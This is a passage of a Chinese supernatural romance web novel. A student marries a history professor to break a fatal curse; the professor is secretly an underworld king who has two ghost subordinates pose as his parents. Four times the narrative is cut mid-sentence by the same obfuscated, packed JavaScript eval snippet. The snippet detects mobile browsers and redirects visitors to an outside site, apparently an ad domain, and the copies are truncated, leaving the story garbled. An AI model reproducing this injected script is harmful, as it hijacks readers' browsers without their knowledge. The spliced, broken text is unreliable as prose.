“哦对了外婆,我和他的意见都是想着可以尽早领证,婚礼就先算了,太费周折,必要不大,你能不能帮我们算个时间最近的黄道吉日?”阮新元用询问的眼神看向花槿。 花槿乐呵呵一摆手,“这事儿包在我身上,你把对方的名字,还有具体出生时间发给我,没几分钟的事。” “行,那到时候算完,我再安排个时间让你们和他父母见个面,”阮新元提醒道,“他父母都是江城人,到时候得辛苦你们来这边一趟,还有最重要的是!他父母不知道我们结婚的真实原因,只以为我们是真心相爱才结婚的,到时候可别露馅了!” “放心,这点我们有数。”阮林福拍拍胸脯保证。 阮新元又嘱咐了几句,告别挂掉了视频通话。 他又怕自己待会儿忘记,马不停蹄就去给戚寻发消息。 【多财多福金元宝:寻哥,你的具体出生时间发我一下,我让我外婆去算个黄道吉日[小猫捧花]】 戚寻依旧回复迅速。 【戚教授:好。】 没过几分钟,戚寻把具体的出生时间发了过来。 在看到对方亲自发来的信息,和他多次查找认证的无误之后,阮新元才算真正松了口气。 不过还挺神奇的…… 阮新元看着那串时间。 如果只看当天,戚寻刚好比他晚出生一小时,一分不多一分不少。 这么一想,他俩要是同岁的话,还是他大一点点? 那要是戚寻反过来喊他哥的话…… 这个想法来得莫名,阮新元在心里笑了一下抛到脑后。 他把信息发给花槿后,重新拉开了帘子。 刚好这会儿严康良洗完澡从浴室里出来,阮新元咳嗽了两声。 三个人齐齐看向他。 “是这样的,我好朋友给我介绍了个人,很符合我未来伴侣的条件,刚好对方也挺满意我的,所以就商量着可以早点领证。” 阮新元说完这段话,难免还是心虚,用手蹭了蹭鼻子。 不过在他自己这是心虚,落在另外三个直男眼里是害羞。 方又知一脚蹬出原位,滑着椅子到阮新元面前,指了指地上的白玫瑰,“速度够快啊新元,是不是就是那个你和我提过一嘴的crush,这么大一束玫瑰花也是他送的吧?” “哟吼,”蒋其风咬着苹果,嘴巴鼓鼓囊囊的,“元哥没和我们说过啊,长什么样有照片吗,是干什么的?” 严康良一边擦着头发一边走近,“反正肯定是个博士一米八以上还长得帅有钱。” 阮新元听到自己上次随口胡诌的择偶条件又是一阵窘迫,他在手机相册里扒拉了一下,找到他在B大论坛顺手存的几张戚寻照片,递给他们看。 “是我们隔壁B大的历史系副教授,叫戚寻,之后有机会的话,再介绍他给你们认识。” 方又知盯着那几张路人视角偷拍的照片看了又看,啧啧称赞,“真的好帅啊,不知道的还以为是哪个明星在隔壁学校拍戏,还是副教授啊,那学历也没得说了……很好,和你很配。” 说完他抬起头,拍拍阮新元的肩膀,面露满意之色。 蒋其风也跟着称赞,“这种气质类型的在我们周围很少见啊,元哥你可以的。” 严康良认真地朝阮新元比了个大拇指,说道:“好缘分不用网络牵,祝你们幸福,白头偕老。” “那……谢谢。”阮新元红着脸接受祝福。 “那还需要份子钱吗?”方又知擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119911|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了擦镜片,重新戴上眼镜,眨了眨眼睛,问得认真。 阮新元失笑着撩了撩额前的碎发,“当然不用了,我们都还没上班,你们的钱基本上也都是父母的,不需要跟我这么客套。” “那我不用担心这个月的恩格尔系数了。”严康良表示感谢。 “再给你降低点系数。”蒋其风递给严康良一个苹果。 严康良高冷摆手,“我对这种无聊的水果不感兴趣。” “嘿你小子……”蒋其风为苹果愤愤不平。 阮新元在一边听得忍俊不禁。 * 江城,盛都朝园。 “我听宋祁说,你在人间找到他了,还准备领凡人的结婚证?”秦不泣西装革履地站在落地窗前,俯瞰江城斑斓闪烁的夜景。 戚寻坐在单人皮质沙发上,摇晃着高脚杯中的香槟,抿了一口,轻皱眉头后放下。 还是可乐好喝,他心道。 “嗯,他倒是知会得快,西灾那边估计也知道了。”戚寻倒是不太在意这件事,早晚都会知道的。 秦不泣薄唇微启,语调没什么起伏,“你倒是又让中渊不省心,鬼身在人间入婚契,和你百年前做的那桩事一样,是会遭到反噬的。” “没什么所谓,再早些年,十八层地狱都入过了,我也没什么好忌惮的。”戚寻站起身走到秦不泣身边,望向窗外的高处。 黑灰色的云层中,有一轮皎洁的月。 “宋祁花肠子多,想得少,是我们四个人里面最天真的那个,有些事情他不会记得提醒你,但是我不得不提醒你。”秦不泣语气依旧平稳,思路明晰,态度理智。 “你入地狱成王,是和我们三个不同,你不怕鬼身的反噬,因为你踏过炼狱、历经过万千种苦,这点我们其他人无可指摘。” 戚寻沉默地听着,没有立即说什么回应。 “但你不怕自身遭到反噬,命道又怎会不知,所以,它可不一定会落在你身上。” 秦不泣没有再说,而是品味起手中的酒。 戚寻目光森冷,嗤笑一声,“是人被天道摆弄,是鬼还被鬼道磋磨,这人世间天上地下没一个真正破道之所,倒是可笑。” “不过我的答案还和百年前那次一样,所有后果,我一人承担,无怨无悔。” “没有什么是比我现在重新见到他更重要的。” 秦不泣点到为止,没再顺延这个话题,“既然如此,你找好自己在人间的父母让谁扮演了吗?” 戚寻勾起嘴角,“我早就想好了。” 裤袋里的手机此时震了两下,他看见秦不泣杯中已经饮尽的酒,开始毫不客气地下逐客令。 “好了时间不早了,你可以回你自己那层楼了。” 从到戚寻家到现在不过二十分钟还没坐下来过的秦不泣:“……” 不过他也没想着待多久,提醒的任务已经完成,他放下酒杯,很熟练地自己走到门口离开。 戚寻重新坐回沙发,打开手机。 刚刚是微信弹出的消息,阮新元发来的。 【小元:寻哥,我外婆算好了[小猫转圈圈]】 【小元:最近的黄道吉日就在明天耶![小猫对手指]】 【小元:那,我们明天就去领证好吗?】 戚寻不需要呼吸,但他此刻不受控的喘息,然后颤抖着指尖,敲打出一个“好”。 8. 领证 黄道吉日这天的天气很好,太阳灿烂,有清风拂过,丝毫不如前段日子那样闷热。 阮新元特地挑了件纯白色样式肃正的衬衫,下半身选了深蓝色直筒牛仔裤,给自己吹了个露出一半眉眼的利落发型,看上去成熟了些。 因为今天是周六,江城的民政局按照规定只开半天,他不得不在这天起了个大早收拾自己。 阮新元少见的磨磨蹭蹭了一个小时,等他出门的时候,寝室里的其他三个人还在被窝中熟睡。 他又检查了一遍自己手上的证件,确认都带起后,轻手轻脚地离开寝室,门关上后,他站在原地深呼吸,平复了一点紧张的心绪。 实际上他还是很紧张,因为直到他上了戚寻的车,他的手心还在不自觉冒汗。 戚寻身上也是一件纯白没什么装饰的衬衫,唯一不同的是,对方身上这件的袖口处有竹子的刺绣图案,算作点睛之笔,很衬戚寻的气质。 这是他们昨晚商量好的着装。 阮新元偏过头观察了一下戚寻,发现对方今天的头发很蓬松,完全遮住了眉毛,不似以往那样露出三分之一的额头。 这让戚寻整个人看上去年轻了好几岁,旁人看上去估计会以为他俩差不多大。 阮新元觉得这样的戚寻有点稀奇,没忍住目光驻足的久了些,连紧张都忘了。 “我脸上有什么脏东西吗?”戚寻余光注意到了身边人的眼神,微微勾起嘴角。 阮新元反应过来自己盯得有点久了,回过神来摇摇头,“没有,就是感觉寻哥你今天的发型不太一样,不过特别适合你。” “那就好,本来我还有点不太习惯,”戚寻语气温柔,用手拨弄了一下额前的刘海,“但想着放下头发说不定可以显得年轻些,看来成功了。” 阮新元眼睛一亮,“确实看上去很年轻,和我看着差不多大。” 他又想到什么,补充:“当然没说你之前看着不年轻的意思。” 戚寻忍俊不禁,“再怎么看着年轻,也比你要大上十岁,那你觉得今天的发型和以前的,哪种更适合我?” “都适合,主要是看脸嘛,”阮新元嘿嘿一笑,回答得很快,紧接着他换了个话题,“我爸妈他们明天会来江城,不知道叔叔阿姨有没有空?” 戚寻微微点头,“嗯,没问题,明天什么时候到,我开车去接伯父伯母还有外婆。” “我看看,”阮新元打开微信看了眼他妈昨天给他发来的高铁信息,“宁城离这边挺近的,他们下午四点到,刚好,可以吃晚饭。” 戚寻了然,体贴地问:“好,他们有什么忌口吗,我安排餐厅。” “吃不了太辣的,偏甜口,不过江城这边的口味也差不多,寻哥你应该也是江城本地人吧?”阮新元想起来,自己好像还不知道戚寻到底是哪里人。 不过戚寻父母也在江城的话,估计也是江城的人。 却未曾想戚寻摇了摇头,“我是在淮城出生的,是淮城人,淮城离这里不远,不过我们在那边没什么亲戚,所以我在这边工作之后,把父母也都接了过来。” 阮新元眨了眨眼,“淮城……我之前一直想去来着,但始终没有机会。” 戚寻心念一动,回道:“淮城不大,整体发展水平都不如江城,不过你想看的话,下次节假日我带你去,正好再下次你带我去看看宁城。” “好,一言为定。”阮新元眉眼弯弯。 在和戚寻有来有回的聊天里,他彻底放下了来之前的紧张感。 其实昨夜他就入睡有点困难,一边心惊胆战没有发作的病症会不会在夜里复发,一边又忐忑今早的人生大事。 好在昨天噬心痛没有发作,现在他也放下心。 这一切好像……都因为有戚寻。 命定之人的作用,真的那么神奇吗? 尽管阮新元之前十八年的世界观已经因为病症发作而慢慢瓦解,但此刻他还是受到了一些冲击。 “小元,我们到了。”戚寻拔出车钥匙,松开安全带。 阮新元扭头望向车窗外,看到了他们今天的目的地。 大多数来领结婚证的都是已经上班的打工人,工作日很难抽出时间,所以,在江城民政局周末唯一可以领证的时间段,起大早排队的人不少。 阮新元从车里走下,戚寻低声问道:“证件都带了吗?” “嗯。”阮新元乖乖点头,和戚寻一起迈步走向大门。 两人走进门等了一会儿,有负责的工作人员带领他们登记申请结婚的信息表。 阮新元和戚寻在沙发上坐下,一人一支笔认真填着表上的信息。 “戚教授?” 戚寻笔尖一顿,下意识回过头,看见了一个烫着大波浪、穿着红色针织裙的女人,此时正诧异得盯着他,还有坐在他身边的阮新元。 阮新元顺着声音抬头望去,跟着戚寻站起身,和人对视了一秒,他并不认识面前的女人,于是用探寻的目光看向戚寻。 “宋教授,好巧。”戚寻礼貌微笑,站起身和人握手。 女人用手捂住嘴,还是很惊讶,“戚教授你是来结婚的?闷声不响干大事啊。” 戚寻毫无征兆地在此刻握住阮新元的手,姿态亲密,向对方介绍起阮新元,“这位是我的未婚夫,不过马上就是合法丈夫了。” 阮新元的手被完全包住,温热的触感从手背传来,他愣了好几秒,因为戚寻的这个举动心跳得很快,耳根染上粉。 戚寻却像做了很多遍这个动作一样,很自然地又和阮新元介绍了一下对方,“这位是我的同事,宋珉,宋教授。” 阮新元朝人甜甜一笑,酒窝显现开,和人挥挥手,“宋教授你好。” “你好呀,”宋珉来回看了看两人,笑得灿烂,“我们之前还在私底下讨论会是什么样的天仙能把戚教授拿下,现在看果然是天仙中的天仙,很般配。” 阮新元被夸得脸更红了些。 戚寻微笑,“谢谢,不过宋教授,为了引起不必要的麻烦和关注,我不打算公开我伴侣的身份,希望到时候你能帮我保密。” 宋珉撩了撩秀发,举起手上的离婚证,在两人眼前晃了晃,“放心,也要麻烦戚教授帮我保密我离婚的事情,就怕有些人知道后背地里嘴碎。” 戚寻依旧礼貌地笑着,“宋教授放心。” “那祝你们百年好合,我先走了。”宋珉踩着高跟鞋,风风火火地离开。 等人彻底消失在两人视线,戚寻才松开牵着的手,还诚恳地道歉,“刚刚想着在同事面前需要展示的亲密一些比较好,所以没经过你的同意,抱歉。” 阮新元被握过的那只手手指蜷缩了一会儿,他摇摇头,“没事没事,我理解的。” 小插曲过后,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119912|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新坐下接着填表格,阮新元脑子里再次闪过宋珉手上的证件,虽然和结婚证是一样的样貌,意义却截然不同。 他突然想到…… 如果等他的病彻底好了,玄子命被破,那个时候如果戚寻还是不喜欢他的话,他和戚寻,是不是离婚最好? 这样对方也不会因为他而被困住一辈子的幸福。 完全可以还有机会追寻他真正的爱。 就是不知道,这个病痊愈要耗上多久,希望他们领完结婚证之后就破解,那就再好不过了。 思及此,阮新元愧疚感又上来了,哪怕这件事也是戚寻拍板同意的。 但关乎性命,总是他欠对方的更多。 如果,戚寻喜欢上他的话…… 那就…… “小元,现在不在上课,怎么还开小差?”戚寻贴近阮新元的耳边,调侃打断某人的思绪。 阮新元耳根一麻,走神被点破的他脸发起烫来,“好嘛好嘛,马上写完。” 没过多久,他把信息表也填写完整,递给了戚寻。 戚寻扫了两眼,把两张纸叠在了一起。 阮新元想到什么,凑在戚寻的耳边笑道:“寻哥,你有没有发现一件神奇的事情?” 戚寻愣了一下,思索片刻,摇摇头,“什么事情?” 阮新元撇了撇嘴,拿过戚寻手上的两张表,用手指了指他们生日那一栏的信息,“你这都没发现嘛?” 戚寻扫过那行信息,表面上装作有些讶然的样子,实际上心里咯噔一下。 他在地府确实用了无数种能想到的办法,都没能找到记载阮新元生名的信息,但他在人间还有别的法子,可以知晓阮新元基础的信息。 所以他早就知道了这辈子阮新元和他依旧是同月同日生的,以至于他忘了这件事本应该多令人感到惊讶了。 “是我粗心了,连这个都没注意到,那我们这算不算,缘分天注定?”戚寻偏头看向阮新元的侧脸,语气带着哄,手臂自然地拥住对方的肩膀。 显然阮新元轻而易举地被哄到,他抬眼和人对视,撞进戚寻深邃的眼里,轻声说着:“或许是吧……” 凑得有些近了,戚寻的目光便从阮新元的眉眼看至嘴唇,克制又贪婪的欲望对冲着,但他的眼底却一片清明,看上去无欲无求。 “那个,”阮新元睫毛颤动了两下,挪动了一下身体,“好像要到我们了。” 戚寻笑了一下,“那我们走吧。” 排队轮到了之后流程走得非常迅速,到了拍照的环节,摄影师看到两人不由得赞叹了一句般配,“两位颜值不输明星啊!又帅又配!” “来,我们靠近点微笑。” “三、二、一!” 直到阮新元拿到那本新鲜出炉的红色本子,还有些恍惚。 自己居然真的按照不可言说的命,和人结婚了。 结婚证上的照片拍得很漂亮,阮新元端详了好几秒,无意识勾起嘴角。 “小元。” 戚寻在无人注意到的角落轻声叫了一声阮新元。 “嗯?”阮新元含着笑意的眼看向身边人。 戚寻用自己手中的红本子碰了碰阮新元手上的那本,开口道:“现在,是不是可以,换称呼了?” “公平起见,我现在也应该改称呼,叫你……” “老公。” 9. 戒指,失控 阮新元的瞳孔震颤着,他嘴唇微张,一时间说不出话来。 这段话让他感到猝不及防。 戚寻方才低沉的声音在他脑海中回荡。 一声又一声。 “现在还不可以吗?”戚寻紧盯着阮新元漂亮的眼眸,将对方所有情绪尽收眼底。 他并没有在催促,阮新元却觉得自己像被定住了一样,一种诡异的酥麻感攀上他的脊背,还带着丝丝凉意。 几秒钟后,他红着耳朵,说出来的话不经思考,“那你,再叫我一声呗……” “老公。” 戚寻没有一点犹豫,也丝毫不扭捏,对于这个词没有任何羞耻感,像是理所当然。 不过他们已经是领过证的关系,确实应该理所当然。 “如果你还想听的话,那我——” “可以了可以了,”阮新元紧急打断,他摸索着捏住戚寻绣着竹子的衬衫袖口,“那个……” 他其实想说自己还没有准备好,但又不太好意思,毕竟对方都不介意喊他老公,自己这样扭扭捏捏的反而显得有些奇怪。 于是话到嘴边拐了个弯儿,变成了一声,软绵、轻巧的“老公”。 短促又轻飘飘地拂过戚寻的耳边。 这声和戚寻说出来的完全是两种风味,戚寻有磁性的嗓音让人腰间一麻,让阮新元的却让人耳根一软、心尖一动。 戚寻拿着结婚证的手不自觉攥紧。 他的心口轰然塌落成废墟,在顷刻间,他像是又死过了一回,回过味来却觉得,死了能听到这一声,比活着要好受太多。 阮新元看戚寻贴着他沉默,以为是自己说得实在是太小声了,于是咳嗽了两声欲盖弥彰,扫视了一圈周围的人,最后踮起脚尖,凑得更近。 抵在戚寻耳边说着—— “老公。” 这一声比刚才那声更加坚定有力些,阮新元的语调没有再颤抖,却又神奇的增添了几分暧昧。 戚寻在心里痴迷地咀嚼着这两声称呼碾碎,像是被蜜糖黏住了喉咙,几秒后,他的喉结上下滚动,吐露出一个字,“嗯。” 阮新元装作轻松,松开捏着对方衬衫的手,“那个……我们现在是不是可以回去了?” 戚寻把手上的结婚证放进黑色西装裤的口袋里,“走吧。” 阮新元和戚寻并肩走到车边,阮新元等戚寻按下车锁,拉开门直接坐了进去。 他一气呵成地系好安全带,一转头愣住了,按下安全带锁扣的动作被无限放慢。 戚寻坐进车后并没有着急启动,而是打开了车内的抽屉,从里面掏出了一个小巧的丝绒盒子。 阮新元呼吸停滞了两秒,他甚至不用猜都知道这个盒子里面装的是什么。 他低垂着眼,睫毛扑闪,车窗外的光影洒落,形成羽毛般的阴影掉在盒子的丝绒外衣之上,还有男人的手心。 戚寻没有停顿太久,他修长的手指摆弄了两下,“啪嗒”一声,随着阮新元乱奏的心跳,丝绒盒被打开。 两枚款式相同的精致素戒安静又优雅地躺在里面,晨光折射出璀璨的光芒,闪耀在阮新元的眼眶中。 虽是没有钻石的素戒,银环上刻着的花纹却非常精妙,粗看像是缠绕在一起的丝带,仔细瞧又像古时人们缔结良缘时交缠在一起的青丝。 “虽然我们并不是因为两情相悦才结的婚,但答应你时我是心甘情愿的,所以准备了这对戒指,算作代表我坦然的真心吧。”戚寻温柔地看着面前的人。 尽管阮新元额间一片黯淡,这一句不是两情相悦表面上是在说他不爱,实际上没有动心的是对方。 戚寻循序渐进地走进对方的领地,妄图占领高地。 阮新元用手掐着车座的皮,心脏涌过一股不知名的洪流,冲击着他耗时十八年筑成的、稚嫩的心墙。 戚寻从盒子的底部取出一条银制项链,把小一些的那枚戒指从盒中取出串进去,“怕你觉得在学校里这样会招摇,准备了这个,戴上试试看?” 阮新元始终没说话,行动却代表了言语。 他很乖地把身子侧过去,向戚寻露出漂亮修长的脖颈。 戚寻伸手,手指小心地没有触碰到阮新元细腻的后颈皮肤,很快把项链戴好。 阮新元感到脖间一凉,戒指已经落在他的胸口,贴近他心脏的位置。 他伸手触及指环,低头抚摸着,在戒指的内壁看到了“X”的字母。 应该是“寻”字的首字母。 “现在可以帮我戴上吗?”戚寻把丝绒盒子递到了阮新元的手上,耐心十足地等待。 “啊,好。”阮新元放下手里的戒指,从对方手中接过盒子,拿出那枚明显要大一圈的素戒。 戚寻伸出修长骨节分明的手,阮新元轻轻握住,而后对准无名指,慢慢地把戒指推到了低端。 “好了。”阮新元松开手,眼睛落在戚寻戴好戒指的手上,觉得赏心悦目。 又盯着看了一会儿,他才想起来自己刚才没有看清戚寻这只戒指内环的字母,觉得有些可惜。 不过大概率是“Y”吧。 戚寻手掌被触摸到的部分表层发着烫,但他内里的血液因鬼身造人始终冰凉,此刻这种冰凉被灼烧,令他心痒难耐。 他有一股想抓回阮新元手十指相扣的强烈欲望,但他克制又冷静的,把这样的情绪,死死压入心底。 试图让它不见天日。 * 阮新元回到寝室时已临近饭点,其他三个人都起床洗漱完毕,在寝室里连麦打游戏。 “哎,元哥你回来了?”蒋其风听见声响,放下手机,没有再重开一局新游戏,“哟,不愧是去领结婚证的,穿的真帅啊,太有面了。” 方又知也有点惊讶,“对啊新元,我本来还以为你要和你对象……哦不,现在应该说是老公,吃完午饭再回来呢。” 阮新元笑了一下,坐回位置,“我本来也这样以为,不过他有点忙,学校里临时有事,所以我就和他说我回来吃算了,你们应该还没吃过吧?” 严康良展示了一下自己蓝白相间的手机界面,“已经准备好点麻辣香锅了,马上可以下单。” “别点了,我请你们吃火锅吧,就上次你们说的那家,”阮新元站起身拍了一下方又知的肩膀,“就当补之前那次被我破坏的聚餐,还有庆祝我结婚。” “好啊好啊!”方又知激情澎湃,他本来还在苦恼点什么外卖,这下用不着纠结了,“哦对新元,能不能看看你的结婚照?” 阮新元点头,没怎么扭捏地把结婚证从口袋里拿出来,一时间三个人都围了过来。 方又知接过红本后打开,一张红底的照片映入眼帘。 照片上的两个人均穿着清新的白衬衫,高个子的那位气质成熟、长相俊朗,深邃的眼里带着笑意,明明气质温和却让人无端觉得有侵略性,边上的那位露出些额头,精致的眉眼把人深深吸住,漂亮得让人挪不开眼。 “完全是天生一对啊!”蒋其风啧啧称赞。 方又知笑得咧开嘴,“真的配哇,嘻嘻。” 严康良在边上点赞,阮新元笑着拿回结婚证,把它和别的证件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昆池的水常年恒温,是沐浴的最佳温度,他在水中闭上眼,恍然间又出现了阮新元漂亮的脸和动听的声音。 一切都无法避开,所以他今天才在交完戒指之后“落荒而逃”,他继续发泄自己一些恶劣的情绪。 戚寻缓缓睁开眼,目光如炬,快速清洗完身体,穿上了崭新的红袍。 他赤着脚活动着脖子走到前殿,钟叩危袭毕恭毕敬地行礼,异口同声道:“殿下。” 戚寻喝了口杯中冰凉的可乐,语气慵懒,“我今日已在人间用凡人的身份与他成婚。” 钟叩危袭依旧弯着腰,异口同声道:“恭喜殿下,祝殿下与所爱白头偕老、永结同心。” 祝福的话还算悦耳,戚寻摆手让他们不再拘礼,“有一件事,我需要你们两个做,一起。” 钟叩和危袭又默契地鞠躬,准备异口同声地说收到。 下一秒,他们听到上座的南阎王开口。 “钟叩,你来扮演我父亲,危袭,你扮演我母亲。” 大殿内安静了数十秒,危袭鞠躬开口,十足胆大,“殿下,卑职以为,我无法胜任母亲这一伟大的角色,或许父亲更加适……” “你比钟叩矮一厘米,就这么说定了。”戚寻一锤定音。 危袭:“……” 钟叩依旧一副老婆死了很久的面瘫脸,“收到。” 10. 见家长 “外婆、爸、妈,”阮新元朝远处推着行李箱的三人招手,“这里!” 何湫听见熟悉的声音,把碎发拨到脑后,在人群中一眼锁定了自家儿子,还有…… 阮新元身边气质长相都非常优越的男人。 那应该就是她女婿……不对,儿夫。 何湫心中一惊,没想到对方的模样比阮新元发来的照片还要出众几分,不过她表面上并未显露这样的情绪。 一旁的花槿眯起眼,仔细瞧了声音传来的方向,瞧见人随即笑开、皱纹舒展,没管边上的两人,快步朝那边跑去,身上穿着的丝绸碎花衬衫飘在空中浮动着。 “外婆。”阮新元对着花槿甜甜一笑,主动伸手抱住对方粗糙的右手。 “外婆好,”站在阮新元身边的戚寻微微鞠了一躬,对着花槿礼貌微笑,态度谦和,主动打了招呼,“我是戚寻。” 花槿把视线转向戚寻,和人对视了一秒,面前的人样貌英俊还彬彬有礼,让人挑不出错。 却让人心里莫名咯噔一下,有一种说不上来的怪异之感,但具体是哪里不对劲,她一时间也无法分辨。 她很快回神,俏皮地眨了眨眼,空出的那只手捂嘴笑了一下,又拍了拍戚寻的肩膀,“小戚啊,长得比照片上还帅气呢,和我家元很配!” 说完这句话,她转头催促后方的何湫和阮林福,“你俩快点的,别让俩孩子等急了!” 何湫加快了点脚步,督促身边拉着两个行礼箱气喘吁吁的阮林福,“加速!” 阮林福的啤酒肚一颠一颠的,他停下脚步,擦了擦汗,又立马跟上何湫的步伐,“来了来了!” “妈,这是戚寻。”阮新元跟来到自己面前的何湫介绍。 戚寻伸出修长的手,“伯母好。” “大老远看到就认出来了。”何湫笑盈盈地和人握手。 这时阮林福也终于走到了他们面前,戚寻再次礼貌伸手,“伯父好。” 阮林福喘着粗气,来不及擦汗,连忙先握手,“好好好。” 花槿在边上用手肘轻轻怼了怼阮新元,调侃道:“小戚叫人怎么还这么见外啊,你俩不都领好证了?” 戚寻愣了一下,用询问的眼神看向身边的阮新元,寻求人的意见。 阮新元反应过来,感受到一道炙热的视线,偏过头和人对视,轻轻点了点头。 戚寻开口迅速,“爸、妈。” 阮新元听了后耳根烧起来,有些别扭,就像一层油纸被烧破了一个洞,灼到他心口。 因为这个传统的改称呼,他和戚寻的关系,更近了一步,微妙的一步。 “哎!”何湫在一旁听得心里美滋滋,就当自己又多了个帅儿子。 阮林福先是被戚寻不凡的气质惊讶到,这会儿被人叫爸,总莫名其妙觉得有点折寿,尽管如此,他还是紧接着应了两声,“好好。” “爸妈、外婆,我们先带你们到酒店办理入住,放好行李之后我们再去吃晚饭。”阮新元从阮林福的手里接过一个行礼箱,又拎过何湫肩上的包。 “行,看你俩安排了。”花槿两手空空、乐得轻松。 阮林福用湿纸巾擦了擦汗,刚准备拉上另一个大行礼箱,一个转身,手捞了个空,他压低一边的眉毛,有些诧异地往身边看。 戚寻抓住了行礼箱的杆子,准备往前走,“爸,我来吧,你辛苦了。” “好、好!”阮林福感动涕零,心想这孩子还挺孝顺。 戚寻拉着行礼箱大步向前,和阮新元并肩时又放慢了脚步,两个人一起走在前面,何湫看着两人背影越看越满意。 “唉,虽然是天命包办的婚姻,看着也还不错。”她小声和自己丈夫感慨。 阮林福悠闲下来,连连称赞,“是,你看这孩子长相气质好、看着性格也沉稳,各方面真没得挑啊……” 花槿在一旁没说话,眯起眼睛盯着那两道背影。 只见戚寻偏头垂眸和阮新元说了句什么,阮新元神色一愣,下一秒嘴角勾起,把肩上的包递给了戚寻,戚寻轻轻松松地接过单肩背着。 “看着对元也好,可以可以。”阮林福见到这幕就差竖大拇指了。 天知道他之前有多害怕自己儿子的命定之人是个相貌丑陋品行不端的人,哪怕是为了活命,和那种人假结婚都太憋屈。 “嘶……”他又看了看两道背影,苦恼地皱起眉,“可惜不是真的!” 毕竟看着再怎么般配,两人都是为了自身利益,而非情感才相结合的。 阮林福在心里悄悄叹气。 花槿突然跟念咒语似的,说出口的话语像烫嘴,除了她自己没人能听清,“说不定就会成真了,这天道定的情,缘分呵。” * “亲家母、亲家公,您们好,我是戚寻的妈妈。” “不对漏了个人,重来。” “亲家母、亲家公、外婆,你们好……” “不对,还是‘您’吧。” 危袭僵硬着一张笑脸,站起又坐下,拢了拢素雅的披肩,琢磨一套开场白老半天。 他把问题抛给一边淡定喝茶的钟叩,“钟叩钟叩,你说我待会是说‘你’好呢,还是‘您’呢?” 钟叩喝着红茶,不厌其烦地回答,“都好,态度决定一切。” “细节决定成败,不过你说得也对,那就‘你’吧,听上去亲切点。”纠结完这件事,危袭又从女士皮包里掏出一枚小镜子。 镜子里的人烫着时髦的齐肩羊毛卷,皮肤有些斑点、眼角有着细纹,妆容却精致端庄,难掩时髦的贵妇气质。 整理完毕后,危袭收好镜子,抬头挺胸,声音微颤,“第一次当人妈,真是有点紧张,还是上司的妈。” 钟叩整了整西装外套袖口,淡淡道:“人之常情。” “哎钟叩,我还是得向你学习,”危袭叹气,“真没想到都做鬼了还要在人间搞cosplay,冥币也不好挣啊……” 他念叨着,忽略了钟叩拿起茶杯时因为紧张止不住颤抖的手腕。 过了几分钟,一阵熟悉的阴气传来,两人对视一眼,默契地端坐起来,暗自改了声线。 戚寻拎着两盒礼物走进包厢,淡淡地看向坐在圆桌上的两人,语气带着点温度,“爸妈,小元他们来了。” 危袭听戚寻喊出这个称呼,整个人差点一抖,有种折阴寿的感觉。 下一秒,他一看见阮新元走进门,顿时就跟触发机制似的,热情地站起身,握住阮新元的两只手,“是小元吧,你这孩子,长得真标志啊。” 阮新元被热情闹了个脸红,烫着耳根轻轻地喊人“妈”。 戚寻不动声色地扫过危袭的手,危袭暗道糟糕,跟被烫到似的,很快松开了。 他余光悄摸观察着戚寻,在心里骂自己演婆婆这角色热情过了头。 此时的阮新元根本不知道他们思绪多变来回交流的眼神,又偏头朝着神色有些严肃的中年男人喊了声“爸”,对方郑重地点了点头,以表认可。 花槿三人紧随其后,危袭连忙换人招呼,“亲家母亲家公、还有小元外婆是吧,你们好啊,我是戚寻的妈妈,这是他爸,来来来坐坐坐!” 何湫在来的路上就猜测戚寻的父母长得肯定也标志,见到了发现二人的气质谈吐也是一等一的,果然不出她所料。 “你好你好,不说是小戚妈妈,我还以为是他姐姐呢。”何湫和他们依次握手。 危袭捂嘴笑道:“亲家母你也是,见你这么年轻,我刚刚差点没敢认!” 他又和花槿、阮林福握了手,悄然松了口气坐下。 一边的钟叩表情一丝不苟,给阮林福递了根上好的香烟,阮林福瞧了眼牌子,欣然接下,嘿嘿憨笑,“亲家公客气了。” 阮新元本来还有点紧张,不过戚寻父母的态度都很友善,氛围也比较融洽,他也就放松了下来,坐到戚寻身边。 包厢内的服务员尽职尽责地给每个人倒了杯红茶,按照座位依次帮人铺好餐布。 “你好,可以上菜了。”戚寻一边示意服务员,一边自然地亲自解开阮新元面前的餐布铺好。 阮新元喝了口茶,顺口说了句“谢谢”。 戚寻突然捏了捏阮新元的手,不过一秒就松开了,用行动代替言语,告诉对方不用客气道谢。 阮新元后知后觉他俩现在已婚的关系这样太客套, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 